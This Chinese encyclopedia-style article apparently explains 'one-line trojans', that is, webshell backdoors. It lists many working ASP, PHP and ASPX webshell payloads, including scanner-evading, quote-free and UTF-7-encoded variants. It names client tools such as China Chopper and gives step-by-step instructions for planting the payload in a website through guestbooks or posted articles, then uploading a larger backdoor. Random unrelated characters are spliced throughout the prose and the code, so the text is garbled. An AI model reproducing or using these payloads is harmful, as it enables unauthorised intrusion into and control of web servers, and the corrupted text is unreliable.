一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。
- 中文名称 一句话木马
- 外文名称 <%execute request("vbs")%>
- 特点 隐蔽性非常好
- 解决方法 用"eval"替换掉"execute"服务端
举例说明
黑来自客在注册信息的电子邮箱或者个人主页等中插入类似如下代码360百科:
<%execute request("v承当激于身状均括山求元alue")%>
其中value是值,所以你可以更改自己的值,前面的request就是获取这个值
<%eval request("value")%>(现在比讲创思苗知去组较多见的,而且字符少州仅最香济府检,对表单字数有限制的地方特别的实用)
当知道了数据库的URL,就可以利用本地一张网页进行连接得到Webshell。(是当怀不知道数据库也可以,只要知道<%eval request("value")%>这个文跳将反推件被插入到哪一个AS修场孔英非P文件里面就可以了。父)
这就被称为一句话木马,它是基于B/S结构的。
写法
常用一句话木马
asp一针己同错专植陆外发胞句话木马:
<%execute(request("value")亲主)%>
php一句话木马:
<?php @eval($_POST[value]);?>
aspx一句话木马:
<%@ Page Language="J肉script"%>
<%eval(Request.Item["value"])%>
其他一句话木马:
<%eval req每号财责陆易明伟民架uest("value")%>
<%execute reque短名受做合标衡st("value")%>
<%execute(request那晚探("value"))%>
程用诉持入元东增画 <%If Request("value")<>"" Then Execute(Request("value"))%>
<%if req已附整均问客列述采方uest ("valu执织光架封e")<>""then session("value")=request("value"):end if:if session("value")<>"" then execute session("value")%>
<SCR叶联季距剂客自此绿微IPT language=VBScript runat="ser乡沉ver">execute request("value")</SCRIPT>
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"],"unsafe");%>
可以躲过雷客图的一句话木马:
<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""value""))")
%>
不用'<,>'的asp一句话木马:
<script language=VBScript runat=server>execute request("value")</script>
不用双引号的一句话木马:
<%eval request(chr(35))%>
UTF-7编码加密:
<%@ codepage=65000%><% response.Charset="936″%><%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>
客户端
来自一句话最常用的客户端为:
一句话客户端增强争很异松切版
中国菜刀
lanker一句话客户端
ZV新型PHP一句话木马客户端G条剧UI版
使用方法
亚秋加扩房错首先,找到数据库是a360百科sp格式的网站,行岁却受早然后,以留言板,或者发表文章的方式,把一句话添加到asp数据库,或者加进asp网页.
记住!我们的目的是把一句话<%execute request("value")%>添加到数据库,无论任何方式!
然后但西拉推讲与打开客户端(就是你电述风晶搞却脑上面的那个htm文件),填上加入了一句话的asp文件,或者是asp网页随造仍例纸旧,然后进入此网站服务器。
木马原理
首先<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行, 后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被善执行,这样当脚本在服务器端运行的时候同时也执行了 Request.form('#')+''这征施华客何地呼有企源月句代码,Request.form('#')的作用是读取客户端文件中html标记属性中name值被命名 为#的部分,例如如下摘自一句话客户端的代码:
<textarea name=# c早扬前督粒吸字场异ols="80" rows="10">
set iP=se在克段冷族香rver.createObject("Adodb.Stream")
iP.Open
iP.Type=2
程孩程回iP.CharS谈告et="gb2312"
iP.writetext request("aoyun")
iP.SaveToFile 菜乱层张类病管server.mappath("aoyunwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"
</酒textarea>
屋织令顺食神 学过html的朋友应该注意到了在textarea标记中的name属性被草优七家初川赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form('#')),然后执行(使用eval(Request.form('#')+'')),也就是执行了:
set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.CharSet="gb2312"
i沙P.writetext request("aoyun")
iP.SaveToFile server.mappath("aoyunwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"
学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用对象中的writetext方法将 request("aoyun")读取过来的内容(就是我们常见的一句话客户端的第二个textarea域中的内容,也就是我们的大马的代码)写入服务端 的 aoyunwan.asp
文件中,写入结束后使用set iP=nothing 释放对方 然后使用response.redirect "aoyunwan.asp" 转向写入的文件,就是我们最后见的大马了!
关于错误
服务器错误
经常,当我们在一个asp文件内添加了一句话后,就会出现类型不匹配的错误:
Script error detected at line 1.
Source line:execute request("nettoo")
Description:类型不匹配: 'execute'
解决方法
用"eval"替换掉"execute"服务端,就不会出错了!